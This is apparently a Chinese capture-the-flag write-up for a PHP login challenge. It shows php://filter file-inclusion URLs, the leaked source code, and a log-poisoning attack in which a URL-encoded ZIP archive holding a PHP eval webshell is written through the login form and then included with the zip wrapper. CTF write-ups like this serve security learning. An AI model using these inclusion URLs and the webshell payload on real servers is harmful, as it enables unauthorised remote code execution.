login
(破解人数:12)
描述:登陆后有惊喜
http://218.76.35.75:20115


很明显的文件包含漏洞
http://218.76.35.75:20115/?page=php://filter/read=convert.base64-encode/resource=main
http://218.76.35.75:20115/?page=php://filter/read=string.rot13/resource=main
http://218.76.35.75:20115/?page=php://filter/read=string.strip_tags/resource=main



百盒审计 :
login.php
<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
$logfile = "./log/".$login.".log";
file_put_contents($logfile, $login."\n".$password);
}
?>
<center>
login<br/><br/>
<form action="" method="POST">
<input name="login" placeholder="login"><br/>
<input name="password" placeholder="password"><br/><br/>
<input type="submit" value="Go!">
</form>
</center>

看来我还是想得太天真了...
还是好好看代码吧 ...
当登录失败的时候 , 会写入日志文件
因此只需要包含这个日志文件 , 在文件中写入 webshell 即可
尝试一波


突然想到这里可能存在问题 , $login 既是文件名 , 又是文件内容...
诶...好像看错了
$password 也会被写入日志文件


妥了 , 直接构造好包含的链接用 Webshell-Sniper 去连接即可
http://218.76.35.75:20115/?page=log/admin.log
突然发现又搞错了...现在真是脑子不够用...
还是得用 zip 协议去拼凑在 page 参数后添加的 .php
好像还是有点问题 , 如果直接通过登录失败来写入文件上传一个 zip 文件的话
需要解决 \n 导致 zip 不能解压的问题 , 所以这个很难办
再读读 index 的源码看看 :
index.php
<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";
if (@$_GET['log']) {
if(file_exists($_GET['log'].".log")){
include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}
?>
再仔细研究一下 PK 的文件结构

文件头中真有个 \n
这样思路就比较清晰了 , 用户名构造成
PK%03%04
密码构造成剩下的数据
试试吧

%50%4b%03%04%0a%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%1c%00%63%2e%70%68%70%55%54%09%00%03%fb%0b%8f%59%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%63%5d%29%3b%3f%3e%0a%50%4b%01%02%1e%03%0a%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%18%00%00%00%00%00%01%00%00%00%a4%81%00%00%00%00%63%2e%70%68%70%55%54%05%00%03%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%50%4b%05%06%00%00%00%00%01%00%01%00%4b%00%00%00%5b%00%00%00%00%00
login=%50%4b%03%04&password=%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%1c%00%63%2e%70%68%70%55%54%09%00%03%fb%0b%8f%59%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%63%5d%29%3b%3f%3e%0a%50%4b%01%02%1e%03%0a%00%02%00%00%00%20%b1%0c%4b%e5%4a%ef%5e%1c%00%00%00%1c%00%00%00%05%00%18%00%00%00%00%00%01%00%00%00%a4%81%00%00%00%00%63%2e%70%68%70%55%54%05%00%03%fb%0b%8f%59%75%78%0b%00%01%04%e8%03%00%00%04%e8%03%00%00%50%4b%05%06%00%00%00%00%01%00%01%00%4b%00%00%00%5b%00%00%00%00%00


上传成功
试试可不可以正常解压

大功告成
现在开始包含吧




flag{10caL_File_1nc1usi0n_C@n_B3_fun}
网友评论